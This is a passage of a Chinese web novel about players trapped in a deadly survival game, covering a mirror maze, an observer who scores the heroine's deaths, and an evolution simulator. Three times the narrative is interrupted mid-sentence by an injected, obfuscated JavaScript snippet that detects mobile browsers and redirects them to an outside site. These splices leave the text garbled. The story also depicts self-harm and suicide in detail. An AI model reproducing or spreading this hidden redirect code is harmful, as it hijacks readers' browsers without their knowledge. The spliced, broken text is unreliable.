这样甜美的日子是梦,那世界末日为什么不是梦?镜子迷宫为什么不是梦?无穷无尽的生存游戏,为什么不是梦? 为什么好梦是梦,噩梦却是真的。 进入未来的第二天,她在家里发呆了一整天。她在每个屋子都坐了一会,翻遍了相册和日记本。 她在相册里看到了自己十岁、二十岁、五十岁、一百岁的场景。原来她就这样在这个家里长大了,读书、工作、结婚、生子。她平凡的一生在几张照片里滑过去,右下角标着时间:1993、2003、2013、2023…… 她毫无遗憾地死去的时候,是2093年。她健健康康地活到了一百岁。 诗童看着自己百岁照片里那个熟悉又陌生的老人的脸,情不自禁地幻想着,如果她没进入游戏,在现实里是不是就会这样过一生。 正出神时,她忽然想到了什么,打开了手机。上面的时间显示:2193年。 这是一条没有残酷淘汰游戏的时间线,但她来到了错误的时间点。 原来她渴望的不仅是活着,更还有自己拥有的一切。 …… 进入未来的第三天,诗童发现自己不会累,也不会饿,但会无聊。 她去了小时候常去的电玩城。那里没有电,什么都玩不了,但还有一个抽奖转盘可以用来打发时间。 小时候这里人很多,抽奖也要排队。她想象主持人站在转盘旁,热情地邀请她上来,说“恭喜这位幸运的小朋友”,然后她转动了转盘,看上面的一等奖二等奖糖果游戏机的字样在飞速转动中变成一片黑影…… 转盘停止了。 上面写着:长命百岁。 诗童笑了笑,这祝福在这时显得像个诅咒。她二十岁,要是在这未来里活到一百岁,那还要在这样孤寂的城市里待上八十年。 她最开始觉得荒诞可笑,但过了会,忽然又觉得一阵毛骨悚然。 如果真要在这里度过八十年,她该怎么办? 她很快冷静下来,让自己忘记这种恐怖的可能性。要知道,这里可是她恐惧的未来,如果她更加恐惧,那这未来就变得更难逃脱。 她是一定要离开这未来的,因为梅子喻还在游戏中等她。她相信梅子也和她一样面临这样的困境,但梅子会离开,她也一样。 梅子在等她,他们也在等她——她的家人,她的生活。她要和梅子在游戏里汇合,然后一起成功逃脱这游戏回归现实。 她已经辜负了小梦,不想再辜负其他人。 于是,她就在这里度过了温暖的春日,闷热的夏日,清爽的秋日,然后,是漫长的冬日。她缩在床边,看窗外簌簌落下的雪,心想,梅子喻还在等她。 手上布满了一道道血痕,身上有着无数淤青。实在忍不了的日子里,她尝试过用破坏自己的身体来缓和情绪,但那只在最开始有一点用,没什么能缓解这样巨大的虚无。 回忆已经彻底将她吞没,她有时会分不清什么是虚假,什么又是真实。 她蹲在屋子里时时常幻听门外有好友和家人的脚步声,有时也会感觉夜里远处那片黑影是梅子喻来找她。但她很快就会发现那都是假的,她活在一种空洞的、没有人的现实中,哪怕她知道这也只是一种幻影,但对她来说确是实实在在的现实。 这时诗童就会想:她还在等她。 他们还在等她。 所以,都会过去的。 只要……再熬七十九年。 44. 镜子迷宫五、观测者 这是梅子喻进入的第五十面镜子。 又或者第一百五十面,她记不清了。最开始还一扇一扇地数,一个患者的过去,一个明星的过去,一个平凡人的未来……到后面她不再计数,只从他们的世界里匆匆走过,杀戮,追逐,看着他们挣扎着离开痛苦的过去,又或者陷进未来里出不来。 她去了面包的未来,小屋的破锁一踹就开,那只巨婴用刀剖开了,不过是一条小小的蠕虫。她去了龟壳的未来,他已成了一片骨架,电视上显示着他通关了一亿次,拉开窗帘,外面什么也没有,血红的魔鬼之眼只是一张贴纸。她还去了春笋的未来,这个和她没什么交集的女生站在一口巨大的井里,望着洞口的一丝光芒千辛万苦地向上爬了一万米,到顶了却发现井没有出口,只是一顶白炽灯。发现自己所有的期望是一个骗局后,她立刻便放弃了继续挣扎,松开了攥绳索攥出鲜血的手,坠入黑暗之中。 还没有人走出过他们的未来。 她呢?她会走出来吗?梅子喻想着,但她过了这么久还没碰到一扇自己的镜子。 大概是第一千零一面镜子时,她看到了自己。 镜子里的那个梅子喻被人推入河里,这次未能抓住岸边的岩石,很快挣扎着淹死了。 这是她的过去,但却不是第一人称视角,这段过去不属于淹死的那个人,而是站在河岸上静静观察着她的那个人。 她好像被套进了某个人的身体之中,看过自己的死亡后,低头在本子上记下了什么。 30分。 记完之后,没再管河中的尸体,站起身继续向前走。 这里都是梅子喻家附近的街道,却一段老一段新,有火热的路边餐厅——她记得自己十八岁时这家店就倒闭了;也有一家新的密室逃脱馆——明明是二十岁后才开的新店;走过来的路人,有人穿着零零年的新潮衣服——虽然现在看来有点土;也有人穿着当下流行的简约风。 好像几个不同的时空拼接成了一条路一样。 记分者继续向前走着,直到夜幕和暴雨同时降临,他来到了荒无人烟的郊区,看着雷电击下,两个奔跑中的人双双倒地。他甚至没有凑近去看,就在本子上记着:10分。 大概是因为她死之前没来得及挣扎。 他又向前走。大约又记了十次分后,没再看到更多的梅子喻。 “没有了吗?”他喃喃自语,似乎有些失望,“就这样吗?” 本子上出现一行字:“是否更换观测目标?” 他犹豫了下,翻了一遍所有的打分记录,最后写:“否。” 本子问:为什么?她已经没有观测的价值了 他写:我还没有打出过一百分。 他笔锋顿了顿,又缓缓地写道:毕竟她是我的 后半句没能写完,他听到前面有吆喝的声音,是叫卖着抽奖的路边百货。 他从阴森的雨夜里走出,踏入被晨光笼罩着的小街道,随便抽了个号码,毫不意外地站到领奖台上…… 又在台下看到了熟悉的脸,那个唯一被没抽中的倒霉蛋。但倒霉不止于此,她激动地冲上讲台,对他说谢谢,抱住了自己得来不易的奖品——然后微波炉爆炸了。 ……2分。他叹了口气,心想,是概率调的太低了,也不怪她,改成3分吧。 他合上本子,嘈杂的人们安静下来,又回到了事故发生的前三十秒。走下台时,却在攒动的人群中又一次看到了她。这次刷新的有点快,大概每一个梅子喻都会在这里长跑,然后看到抽奖活动时毫不犹豫地取上一个号码牌。 他笑了笑,又抽了一次奖。 这次梅子喻还算幸运,爆炸后延了几秒,没有炸到她。她失落地离开时,他忍不住叫住了她——这种极低的存活可能性,让他难得产生了一次干涉的欲望。 但她拒绝了。 星用笔敲了敲本子,思考了片刻,写下:邀请她进入试验场吧。 本子回:哪个? 星写:就这个她。 他走入廉价又破旧的老小区中,进入某层楼。本子忽然说:如果不调整概率,一切都不会改变。 它给他看了它的推演:本子上出现了一行行字,描述着女人如何一次次惨死,开门后被杀手一刀捅死,从门里闪出时被电击中,从楼上跳下来时摔断了脖子…… 星打断了不断衍生的字句,写:那怎么办? 本子:如果你已经决定干涉,想修正她的行为 本子:就在小概率事件发生时,给予一些奖励 本子:比如,你可以调整成就库的调取规则 星一愣,写:这算违反观测者规则吗? 本子:当然 本子:但观测者总是会违反的,还没有例外 本子:只是看你的例外发生在什么时候。 星想了想,还是写道:就她吧。 他把触发成就的概率从1%调整成了10%,问:这个改动算大吗? 本子:对她来说,算的。 “有影响就好。”星笑道:“就算是观测者,也会厌倦一样的结局。” 他看着梅子喻从楼上跳出来,情不自禁地跟上去,想看看这次会是怎么样的发展。迈出的那时,楼群向后退去,他被从天而降的黑影砸中。 看着自己的尸体以及梅子喻远远跑走的背影,星无奈道:“我也是成就的一部分?” 本子说:你调整了参数,你已经不是纯粹的观测者了 星过了好久才说:“这听上去,有点恐怖。” “我只想观察,不想做玩家。” 本子:你不想被观察? “当然……”星话未说完,忽然警觉地转了一圈,“有人在看着我。” 他感到有两道带着探究的目光紧紧地盯着自己,但无论怎样都找不到那来源。这注视似乎不来自于外界,而是……他的体内。 “出去。”他拿出武器,对着自己的脑袋,沉着脸说道:“不管你是谁,不要观察我。” 被注视感不仅没有消失,反而变本加厉,超强的存在感裹挟他的身体,让他产生了强烈的不适感。 噗呲。 他将武器插入自己的胸膛中。 注视,消失了。 …… 梅子喻一阵毛骨悚然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209768|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 星就是星星,是拉她进游戏的人,也是让她拥有这些小概率成就从而一次次死里求生的人。但同样也是一直观测她、看着她反复死亡并打分的人。这个分数,似乎和她的求生意志有关。 所以,这是星的过去。他的过去只做一件事,就是观察梅子喻的死亡事件。 比起一直被人观测,更让人感到惊悚的是他和本子说的话:概率、成就、观测价值……这是否说明,她进入游戏之前的整个人生也都只是一个游戏,或者一场实验?…… 星自杀后,她便回到了无限镜子世界中。但星不是普通的玩家,再加上是在过去中自杀的,这样十有八九并不会死,自杀只是驱逐他体内存在的手段而已。 梅子喻有些意外的是,一个除了观测别人之外什么都不做的人,居然如此强烈地反感被观测。 她漫无目的地向前奔跑着,跌入某面镜子时还茫然地想:如果回到了游戏,要找到星,向他确认这一切吗? 但如果这不是镜子制造出来的幻象,而是星真正的过去、如果她努力挣扎着的艰辛人生,真的只是一场随意调整概率的游戏…… 她该怎么办? …… 这里黑漆漆的,什么都看不见,什么都听不到。梅子喻甚至感知不到自己四肢的存在,她尽力操控自己的身躯,却感觉自己连动都没动。 这是什么地方?她在怎样的身体里?这又是谁的过去、或者未来? 【玩家梅子喻,你已通关生存游戏】 梅子喻浑身一抖。 她通关了?就这样毫无征兆地……突然地通关了? 为什么?是因为她进入了观测者的过去,知道了一些游戏的秘密吗?还是因为她通过观测者的过去观测了自己的过去,激活了某个bug?可如果她真的因为激发某个bug而离开这个游戏,也应该有提示才对,就像之前那条“唯一性”的成就一样。 【你即将进入下一关游戏】 不仅通关,还进入了下一关游戏中么? 不……不对。 如果是真正的游戏结算,会带有成就数、道具数等各种结算。但现在什么都没有,仅仅告诉她进入了下一个游戏中。这不是系统的作风,更像是一次粗糙的…… 想象。 她对于自己下一关游戏的想象。 梅子喻忽然醒悟,这是游戏的嵌套,她仍旧处在镜子迷宫里,并套在人偶的躯壳之中。 她只是进入了自己的未来。这个未来,就是她通关生存游戏后,即将进入的下一个游戏。 也就是她最恐惧的未来。 梅子喻有些说不出的兴奋,比起恐惧,她更多的是好奇:她自己都说不太清自己最害怕的是什么,大概率是死亡。所以,这里是某个死后世界吗?怪不得她无法操控自己的身体,原来是进入了灵魂状态—— 【进化游戏,正式激活】 【你是一只原核生物】 【你什么都没做,几亿年过去,你成为了一只草履虫】 【你永远是草履虫,无法进化成人】 【进化失败】 【进化重新开始】 45. 镜子迷宫六、进化模拟器 【你是一只原核生物】 【你什么都没做,几亿年过去,你成为了一只草履虫】 【你永远是草履虫,无法进化成人】 【进化失败】 【本局游戏耗时:1h】 【玩家提问:进化成功的判定是什么】 【回答:进化成人类的下个物种】 【进化重新开始,请进行物种抽卡】 【蓝藻卡】 【你是一株蓝藻,在努力地造氧】 【你排放出了大量氧气】 【大量氧气杀死了很多物种,但你对此一无所知】 【第一只动物诞生了,是一只栉水母】 【里程碑式的进化大成功】 【与你无关,你在造氧。】 【第一只鱼出现了,是文昌鱼】 【海洋里出现大量的鱼类】 【哺乳动物繁衍生息】 【猴子变成了人】 【人类说他们不是猴子进化的,因为他们在楼房里,猴子在动物园里】 【第五次世界大战爆发,人类灭绝】 【你在造氧】 【你是一只普通的蓝藻。你永远是。除了造氧,你什么都不会做,你杀死了许多生物,也促成了许多生物的诞生。你为现存动植物提供了生存的基本环境。】 【没法否认你是现在所有文明的基石,没有你制造出的氧气就没有他们。你是伟大的蓝藻,你为此感到自豪】 【你大概错过了什么,但你不清楚】 【或许是进化成人的机会,反正他们也已经死了,无所谓。】 【进化失败】 【本局游戏耗时:13h】 【玩家提问:人类的下个物种是什么】 【回答:请玩家自行探索】 【进化重新开始,请进行物种抽卡】 【鱼卡】 【你是一只鱼】 【你爬到了陆地上,你死了】 【你爬到了陆地上,你死了】 【你爬到了陆地上,你死了】 【你爬到了陆地上,你死了】 【你没能进化出肺】 【做鱼也不错,不是么。你只要记得吃掉小鱼就好了】 【地球离太阳越来越近】 【海水被烧干了】 【你和所有生物一起灭绝】 【进化失败】 【本局游戏耗时:68h】 【玩家提问:物种抽卡是随机的吗】 【回答:是的】 【进化重新开始,请进行物种抽卡】 【鱼卡】 【你是一只鱼】 【你拥有了四肢和脖子,学会了在海面上呼吸空气】 【你进化出了肺,并爬到了陆地上】 【你在爬行,这是你的祖先们从来没做过的事情】 【你的皮肤被太阳灼烧,你感到痛苦】 【你进化出了很厚的皮肤】 【你努力地爬,并进化成了恐龙】 【你安然无恙地存活了几亿年】 【你无法进一步进化】 【你无法进行复杂的思考】 【你被求生的生物本能驱使】 【你屈服于这种刻入基因的本能,且十分适应。这是你存活至今的原因,或许也是你无法继续进化的原因。】 【不知为何你感到痛苦】 【一部分的你祈祷着灭亡】 【小行星砸向地球】 【如你所愿,一切全没了,灭绝前你在想明天该吃哪只龙】 【进化失败】 【本局游戏耗时:173h】 【玩家提问:我很痛苦】 【回答:请继续游戏】 【进化重新开始,请进行物种抽卡】 【猿猴卡】 【你是一只猿猴】 【你烧毁了一整片森林,但你学会了使用火种】 【你开始思考,并学会了使用工具】 【你开始直立行走】 【你进化成了猿人】 【你在大陆上迁徙,建成部落,和你的同类打仗】 【你的很多同类都消失了,只剩下和你最接近的一类】 【你用同类的头骨装饰你的山洞,你觉得这很好看】 【你制作工具的水平不断提升,你学会了记录】 【你忽然觉得同类的头骨不再是胜利的象征,而是死亡迟早会降临至你身边的预兆】 【你开始频繁地记录死亡,你意识到你对死亡的恐惧超出一切,在你学会思考之前,这种恐惧一直控制着你】 【在你学会思考之后,这种恐惧仍然控制着你】 【你试图与之对抗】 【你发现对抗是徒劳的。你能存活至今,是因为你是被筛选出来的物种】 【你是被筛选出来具有死亡恐惧的物种,这是你活着的唯一原因】 【也成了你活着的唯一意义】 【你试图挑战这种意义,于是哲学诞生了】 【文字,然后是文明】 【你惊讶于文字诞生于哲学之后,而文明诞生于文字之后】 【你不停地思考】 【你不知思考有何意义】 【艺术和宗教也自然而然地诞生了】 【宗教令你安心】 【宗教令你十分安心】 【你灭绝于因宗教而起的战争。最初你只是想给自己一个存活的理由,后来你想用这种手段更好地统治你的同类,却不知为何最后连你自己也杀死了】 【无人生还,你认为这是一个好的结局】 【进化失败】 【本局游戏耗时:2680h】 【玩家提问:我要结束游戏】 【回答:请继续游戏】 【进化重新开始,请进行物种抽卡】 【人类卡】 【你一开始就是人类】 【思考对你来说是和呼吸一样自然的事情】 【与同类的自相残杀,是禁忌的】 【海里的鱼进化成了超鱼,他们拥有高度的文明与科技】 【它们坐着潜空艇离开海洋,占领了陆地】 【人类成为了超鱼的奴隶】 【贫穷和饥饿频繁地发生,但只有一部分人需要经历这种痛苦,没人知道另一部分人在哪里过着怎样的生活】 【即使为生存而痛苦,人们仍旧坚持追求生存。】 【你开始思考这是为什么】 【人类发现根本没有超鱼,一切都是谎言】 【人类发现人被分成了两类,享受的人,与被享受的人】 【被享受的人发动了战争】 【享受的人给予他们一部分自己所享受的资源。于是战争停止了】 【一部分享受的人和被享受的人互换了身份。对于人类整个物种来说,这种交换没有任何影响,唯一的影响是,大家都知道了人分为两类】 【享受的人,与被享受的人】 【技术力发展。吃饱穿暖的几十年。】 【人类的划分从未改变过】 【越来越多的人意识到自己是被享受的人】 【首先是停止繁衍,随后被享受的人类开始自杀】 【大批量的自杀】 【总比同类相残好。有人提出】 【但大量自杀意味着种族的消亡。有人提出】 【大部分人并不在意这场争论。因为放弃个体存活的人不会在意种族的消亡】 【自杀与同类相残一起被列为禁忌】 【禁忌在到处发生】 【许多尸体】 【你回想起了那种恐惧,在你还是猿猴的时候】 【在你还是恐龙的时候】 【在你还是鱼的时候】 【在你还是蓝藻的时候】 【在你从海洋迈向陆地的踏出的每一步的时候】 【在你进化的每一步,你都在被这种恐惧支配,于是你的一切思考,你自由意志,你的哲学宗教和艺术,全是死亡规则之上,求生欲的花式演绎】 【对这一点的绝望有一点胜出了你对死亡的恐惧】 【你想自杀。这没什么,很多人类都已经这样做了】 【你在挑战你的基因、以及几亿年的进化路线】 【你想到已经有这么多人挑战成功,你觉得他们很厉害】 【你想起你曾经认为人无论如何都该活着,因为你几十年的短暂生命都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224513|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这样过来的】 【但现在你觉得这个观点很可笑】 【你自杀了。】 【所有人类自杀了】 【人类没有天敌,人类自己就是自己的天敌】 【进化失败】 【本局游戏耗时:15832h】 【玩家提问:让我死】 【回答:是否确认?】 【玩家未响应】 【玩家未响应】 【玩家未响应】 …… 【玩家回答:否】 【游戏继续】 【进化重新开始,请进行物种抽卡】 【替身卡】 【你是一个普通的人类】 【你过着比其他人更惨淡一点的日子】 【但你不在意,因为只要你努力地活下去,你就还能活】 【活着是比什么都重要的事情。这件事情不需要思考】 【你进入了一场求生游戏】 【这场求生游戏和你的生活似乎没什么区别,你都要艰难地活下去】 【你认识了一些人,看到了他们和你一样奋斗,但也有一部分人选择放弃】 【无论如何都不能放弃。你这样想】 【只要离开这场游戏,回到现实,一切都会好起来】 【直到你意识到这一切都只是一场数据游戏】 【包括你的现实】 【你看到了纸神,这个被你制造出来的替身】 【你十分惊讶】 【你回忆起你曾说服纸神:它奉为圭臬的究极原则只是你随口说的一句话,而那其实毫无意义】 【你意识到你的处境和它一样】 【你制造了很多替身,你觉得它们被你一句话操控得团团转的样子很可笑】 【现在你知道了,你和它们没有区别】 【你对求生的执念也只是被灌输的随意的一串代码】 【放弃死亡权力的人,只是一具生存机器,就比如你。】 【你意识到,只要你坚持活下去,就证明你没有自由意志】 【于是你需要验证,你更在意活下去,还是更在意你拥有自由意志】 【你想死】 【你不想死】 【你的存在和挣扎就像一张卫生纸一样】 【没】 【有】 【任】 【何】 【意】 【义】 【没有任何意义】 【没有任何意义】 【没有任何意义】 【没有任何意义】 【没有任何意义】 【没有任何意义】 【没有任何意义】 【没有任何意义】 【没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义没有任何意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义意义】 【你崩溃了】 【你是一个替身,你终究无法成为真正的人类】 【即使你努力地进化过,但在你努力进化的游戏时间1371年里,什么都没有发生】 【一串数字】 【你是蓝藻的时候为自己而自豪】 【你是一个普通的人类,你却无法为自己感到自豪。】 【你最接近真正的人的一刻,是你想死的那一瞬间】 【纸神问你,你是否拥有自由意志】 【你回答:没有】 【玩家已脱离人偶】 【玩家取回身体控制权】 【恭喜你,你直面了你的恐惧,并成功逃离了你的未来】 【另外通知你的游戏结果:】 【你成功地进化到了人类的下一步以及下下一步】 【“对抗进化的人类”】 【“对抗进化,但仍旧继续进化的人类”】 46. 狂欢 梅子喻站在镜子迷宫中间。 她恍惚地等待了许久,方才意识到自己已经回到了游戏里,不用在那漫长的进化游戏里渡劫,也不用在无穷无尽的别人的人生路里徒劳追杀。 虽然游戏并未结束,但经历了许多后,却有一种全剧终的尘埃落定之感。 她转头望向了来时的路,漫无目的地走了几步,在四周的镜子里反复端详自己的脸。这张脸她看了二十余年,从未觉得如此陌生过。循环往复、无穷多的人生片段里,她看到了无数相似的面容,人类都长得差不多,五官不过是在标准的模子下挪动了几分几毫,正和小美那被剖开的标准模具身体一样,即使自认为有什么标志性,实际也并没什么特殊之处。 她走到面包死亡的地方。被撞碎的镜子旁,散落着面包的尸体与玻璃碎片。 此时此刻,她忽然有些理解了面包的心境。温水煮青蛙地混沌度日,和一下子跳到不可接受的未来是不一样的:如果早就知道这一生注定要活成讨厌的样子,很多人都不会选择活下去。她甚至有些理解了龟壳的退缩和酒精的自暴自弃:只要蒙上双眼,就可以当作一切都不存在,而在某些时刻放弃生存,也不是什么罪不可赦的事情。 如果“生存”不是必须遵守的铁律,他们的所作所为,好像就都有了理由。 所以,这就是真正的人类的样子吗?拥有生的权力,也有死的权力—— “最接近真正的人的一刻,是你想死的那一瞬间。” 他们用自由意志对抗了生存的本能,用各种各样的原因,放弃了求生。 只有这样,才可以成为一个真正的“人类”么? 梅子喻俯下身去,拾起沾血的玻璃碎片,手指转动,碎片中折射出她微微蹙起的眉。 ……在进化游戏里,机器问她是否死亡,她选择了否。 并未因为她没有结束生命的勇气。 而是因为她并不想在幻境里终结一切。她不会屈服于被进化游戏带来的恐惧吞没,选择一走了事逃避所有问题,也不会因为那漫长的时间混沌了脑子,变得麻木,不再思考,随波逐流。 她只是想要回到一个她有更多选择权的地方,然后,做出不为逃离痛苦的选择。 就比如这里,比如现在。在追杀的时候,其他玩家的信用度来到了玩偶的身上,又被她剥夺,此刻她的信用度接近满分。只要她不再去触碰什么镜子,玩家之间也没有厮杀模式,她现在是绝对安全的。 她已经不需要在镜子迷宫里继续争取什么了,她只要待到今天结束就好,因为她挺过去了最煎熬的时刻,所以现在一切的胜利都将属于她。 可以,活下去了。在这个虚拟的世界,以不是人类的身份,活下去了。 …… 她对着锋利的边缘痴痴地看了几秒,忽地插入自己的脖颈之中—— 她还是要证明的。 她要在自己可以胜利、可以存活、可以假装什么都存在的时候,选择结束这场荒谬的实验游戏。 这样的死亡,星会打出多少分呢? “……0分。” 血液喷涌而出时,带着一丝阴沉的声音忽地响起,有人从背后步履匆匆地跑来,唤她的名字。 “梅子……” 一双温暖的手从背后抱上来,用衣服裹住她的伤口。不断下降的血量中,不时泛黑的视野里,她看到一张平静的面孔。 “对不起,我来晚了……”诗童说道:“你在等我,真是太好了。” 梅子喻一愣,碎片从手中滑下,摔落在地,血沫翻飞。 她倒是……没有在等诗童。 但诗童大概却是一直在等她。 一晃眼就过去了的漫长的进化之旅里,她好像没怎么想起过身边的人,只是一味地想着,要变成人。 要变成真正的人。 诗童俯下身,将头埋在她的肩上,发梢擦着她的下巴蹭过去,微微的瘙痒,却比伤口的疼痛更剧烈。 “你在等我……”梅子茫然地重复这句话,诗童听来,却好像是对她存活下来的确认与赞许一般,眼泪倾涌而出。 “是的,我在等你。这么多年,支撑我的唯一想法就是……你还在。幸好你还在,梅子……不然我真不知道,坚持活着的意义是什么……”她的声音微微颤抖,“谢谢你,活下来了。” 梅子喻脑子嗡的一下,忽然瞪大了双眼。 诗童生存的意义,是她吗? 既然如此,她生存的意义,又为什么非要是她自己?…… 或许,自由意志还有其他的证明方法。除去自由地选择死之外,还有自由地选择活。并非仅仅为了活着而活着,而是为了一些其他的东西……例如,为了满足一种期待而活着。 并非功成名就的期待,而仅仅是,想要你还在的期待。 “我进入了我的未来,在一座没人的城里过了八十年。”诗童说道:“你呢?你经历了什么?” “我经历了……”梅子喻卡顿了会,不知要如何和诗童讲述这样的未来。下一关游戏?人类进化史?还是他们这些玩家的秘密? 他们的生活只是游戏,而自己是被特意调低概率用来观测的实验体——她绝不会告诉诗童这样毁灭性的事实。这件事情,只有她一个人知道就好了。 “我看到了一些人死去。”她含糊过去,搂住诗童的后背,微微笑起来:“但那是假的,现实是,我们都还活着。” 她抬起头,星站在不远处,面色不算好看。 他嘴唇微张,没有发出声音,梅子喻却在沉默之中听到了他说的话—— 不要再试图自杀了。 否则,我也只能放弃你。 ……怎么放弃? 调低成就的概率,让她被游戏杀死?还是等她死后,就选其他的替身观测? 可惜她现在并不怕死。 “星,你有没有去过你的未来?”梅子喻问道。 星愣了愣,没说话。梅子喻紧跟着说道:“看来你没有,但我猜,应该就是变成我的样子吧。” 他嘴角撇下来。他知道了,在他的过去,他的体内,注视着他,目睹了他那一瞬间慌张的目光就来自于她。 …… 今日晚饭时间,汇聚在食堂吃饭的人又少了一半。梅子喻这一桌人,也只剩下了她、诗童、星三个人。 狱警却没有和往常一样端上寥寥几份需要争抢的食物,而是缓缓推出了一座巨大的美食山,周边点缀着成百上千的礼花。 众玩家惊讶地看着这数量惊人的食物,虽然喉咙下意识吞咽口水,心里却也都忍不住紧张起来——比第一天更为丰富的食物被“解脱”礼花环绕着,看起来更像是断头饭。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14263037|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 广播播报道:“今日,是狂欢之夜,所有人表达的权限放开!现在,开始你们的狂欢吧!” 这句出乎所有人意料之外的规则之后,不过三秒钟,安静的房间里响起了第一道声音—— 是哭声。 然后,是咆哮的声音。 不止一声。 食堂乱成一团,有的人哭喊,有的人狂笑,有的人扑进食物堆里,发疯地将食物塞进喉管。有人满地打滚,有人用头撞墙,有人自言自语。压抑到极致的玩家们像是被打开了脑内的阀门,情绪喷涌而出,无法自制。 就像禁止思考的那个夜晚一样。 那晚,梅子喻被头发拉起来,在睡梦中目睹了一切。她记得诗童在抱着被子哭,大概是回忆她死去的好友。不知诗童在镜子迷宫里经历了什么,此刻表情淡漠,并未失控。 而没有去过未来的星则死死地盯着她,目光一瞬都不挪开,看起来倒是冷静,但谁也不知道他此刻是否能控制自己的眼神。 梅子喻没有做出任何举动。 她记得那晚,自己一直在自杀,又一直在躲避自己的杀害。 说来,那个晚上她在表达的情绪……是“逃生”吗? 制造一个又一个死亡危机,用死里求生来证明自己生存的意志。 但现在,她不再需要那些了。 不知过了多久,广播忽然说:“你们用尽了所有额度,狂欢结束。” 这场荒诞的闹剧猝然停止,所有人停止了疯狂的举动,食堂再次沉寂下来。狂欢之后的骤冷,更显诡异。 广播中那温柔的声音语气平平,好像播报着明天的天气一般,淡淡说道:“现在开始,禁止说话,禁止表达,禁止思考。” …… 梅子喻又是被头发摇醒的。 和上次一样,她恍恍惚惚,无法思考,睁眼看到一切,却什么都没有想。她看到大家都像个人偶一样直愣愣地站着,垂下头,两眼无神。狱警从他们面前一个个地走过,挨个审问。 “你找到自己犯罪的原因了吗?” 这是……今日任务来着。 梅子喻似乎回想起了这件事,但她还是没办法思索这句话的含义是什么。 第一个囚犯说“我不知道。”狱警拉动礼花,说道:“你解脱了。” 砰。 第二个囚犯说“我渴望自由。”狱警问:“你还会犯罪吗?”囚犯说“会。” 狱警拉动了礼花。 “我们只关押服从我们的人。”它说。 第三个囚犯说“我想要更多认可。”狱警问:“你还会犯罪吗?”囚犯说“不会了。” 狱警拍拍他的背:“回去睡觉吧。你还可以继续在这里关押。” 狱警一路走过来,路上铺满礼花纸屑和血肉碎渣。 它走到诗童面前,下一个就是梅子喻。 “你找到自己犯罪的原因了吗?” “爱着我的朋友,把她作为我活下去的理由。” ——渴望作为一个真正的人类,好好地生活。 诗童说出的同时,梅子喻心里响起了自己的声音。她知道,这将是她即将给出的回答。 狱警点了点头,又问:“那么,你还会犯罪吗?” “会。” ——会。 狱警举起了礼花。 47. 无限公式 无意识中的回答,不会违背自己的意志。 他们无法说出谎言,只能用最真实的自己面临审判。 狱警举起礼花的那一刻,梅子喻无法思考的大脑中,却出现了两个画面——诗童的头炸成碎末,然后是她的头被炸成碎末。 会的。 去过了自己最恐惧的未来后,她会更加坚定,继续这样犯罪下去。 所以……等待她们的,将是同样的结局:因为违背监狱的审判标准,被判以解脱之刑—— 咔擦。 狱警的帽子从中劈开,裂成两半。头发化作的黑刀在空中利落地转了个圈,收到梅子喻身侧。 ——咔咔咔 ——还……不想结束 ——全杀了 头发左右两缕交替步行,拖着梅子喻的身躯向前两步,走的路上一刀一个,将毫无防备的狱警砍断了七八只。警服下的东西暴露出来,是几条黑线,歪歪扭扭地躺在地上,虽然被切成了两段,但还能看出来,是一个文字。 一只叫“死” 一只叫“生” 一只叫“罪” 一只叫“罚” …… 狱警并没什么其他攻击手段,就只是对着她的方向拉动礼花。但头发总能在它们动手的前一瞬间冲过去,劈成两半。 之前梅子喻说,等信用度满了,要找个人多的地方,随便它杀来着。 就是这里吧? 它将在场的文字砍了个干净,广播里的声音却没有一丝波澜,“召唤狱警。” 大概这些东西无穷无尽,毕竟只是一些文字而已,而文字有很多。 头发并不懂得这些道理,它又不识字。它只是觉得杀这些不会反抗,也不会爆浆的东西一点意思也没有。它将那些文字残骸拖到一起,扫出一条通路来。 【解锁成就:反义性】 【成就说明:你凑齐了十对反义文字。你在学习识字吗?】 【成就buff:使你激活过的成就具有反义效果】 【解锁成就:唯一性的不唯一性】 【成就说明:你激活了唯一性的反义特性】 【成就buff:可反复激活“唯一性”成就】 接连激活了两个成就,梅子喻心跳加速,隐约感觉到这应该是很重要的成就,但她却无法深入思考。 ——还不够 ——要去哪里才能杀更多呢? 头发蠢蠢欲动,转了一圈,探寻更多可杀戮的地方。 它记得……有一个满是镜子的地方,可以用刀追着捅别人。但那时只有一把小小的刀,到最后也没杀死几个,根本不过瘾。 